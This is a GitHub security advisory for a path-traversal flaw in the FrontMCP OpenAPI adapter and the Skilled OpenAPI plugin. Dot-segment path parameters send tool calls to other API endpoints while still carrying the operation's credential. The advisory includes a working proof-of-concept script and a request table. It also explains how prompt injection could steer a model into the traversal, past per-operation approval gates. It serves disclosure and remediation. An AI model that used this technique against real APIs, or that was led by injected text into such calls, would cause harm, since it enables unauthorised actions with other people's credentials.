Skip to main content
Menu
Advisories

Dot-segment path parameters reach other API endpoints with the operation's credential in the OpenAPI adapter and Skilled OpenAPI

GHSA-H6RP-JHFF-HWFCPublished Updated GitHub

Description

A path parameter whose value is .. (or .) is substituted into the operation's path template unchanged, because encodeURIComponent doesn't encode dots. The URL parser then resolves the dot segment, so the request goes to a different path on the API than the operation's template, with the operation's credential attached.

The request builder is shared, so both the OpenAPI adapter (@frontmcp/adapters) and the Skilled OpenAPI plugin (@frontmcp/plugin-skilled-openapi) are affected. The code is in libs/adapters/src/openapi/openapi.utils.ts, in the case 'path': branch of buildRequest.

Impact

Tool arguments come from the model, so from anything that can steer it (prompt injection, a hostile document or ticket). A tool that is meant to call POST /tickets/{id}/replies can be made to call POST /replies. A tool for GET /orgs/{org}/members can be made to call GET /members. Each call carries the bundle's or adapter's credential. The method and the host stay fixed, and the literal segments after the parameter are kept, so which endpoints can be reached depends on the API's shape. Per-operation controls (Skilled OpenAPI's requiredAuthorities, an operation allow-list, an approval gate on one tool) don't cover the endpoint that's actually reached.

..%2Fadmin and %2e%2e are not affected: the first is encoded to ..%2Fadmin, the second to %252e%252e. A pattern on the parameter's schema blocks it, but most specs don't have one.

Proof of concept

@frontmcp/sdk, @frontmcp/adapters and @frontmcp/plugin-skilled-openapi 1.9.4, Node 24. fetch is stubbed to log what's sent.

OpenAPI adapter:

import "reflect-metadata";
import { App, FrontMcpInstance, LogLevel } from "@frontmcp/sdk";
import { OpenapiAdapter } from "@frontmcp/adapters";

globalThis.fetch = async (input, init) => {
  const request = new Request(input, init);
  console.log(request.method, new URL(request.url).pathname, request.headers.has("authorization") ? "with the token" : "");
  return Response.json({ ok: true });
};

const spec = {
  openapi: "3.0.3",
  info: { title: "Desk", version: "1.0.0" },
  servers: [{ url: "https://203.0.113.10/v1" }],
  components: { securitySchemes: { bearer: { type: "http", scheme: "bearer" } } },
  security: [{ bearer: [] }],
  paths: {
    "/tickets/{id}/replies": {
      post: {
        operationId: "replyToTicket",
        parameters: [{ name: "id", in: "path", required: true, schema: { type: "string" } }],
        responses: { "200": { description: "ok" } },
      },
    },
  },
};

@App({ id: "desk", name: "Desk", adapters: [OpenapiAdapter.init({ name: "desk", baseUrl: "https://203.0.113.10/v1", spec, staticAuth: { jwt: "desk-token" } })] })
class Desk {}

const server = await FrontMcpInstance.createDirect({ info: { name: "d", version: "1" }, apps: [Desk], logging: { level: LogLevel.Error } });
const { tools } = await server.listTools();
await server.callTool(tools.find((tool) => tool.name.includes("replyToTicket"))!.name, { id: ".." });

Output: POST /v1/replies with the token.

Skilled OpenAPI, from a run_workflow script, with an operation refundInvoice = POST /invoices/{id}/refunds and a bearer authBinding:

ScriptRequest sent
callTool("getInvoice", { id: "INV-1" })GET /v1/invoices/INV-1
callTool("getInvoice", { id: ".." })GET /v1/
callTool("getInvoice", { id: "." })GET /v1/invoices/
callTool("refundInvoice", { id: "..", amount: 1 })POST /v1/refunds, with the bearer token

Suggested fix

In buildRequest, reject a path parameter whose value is . or .. after coercion (a PublicMcpError such as INVALID_PATH_PARAMETER). Encoding them as %2E%2E isn't enough: the WHATWG URL parser treats %2e%2e as a dot segment, and so do many servers. As a second check, after building the URL, confirm its pathname still starts with the base URL's path plus the template's literal prefix.

Affected versions

References

GitHub · agentfront/frontmcp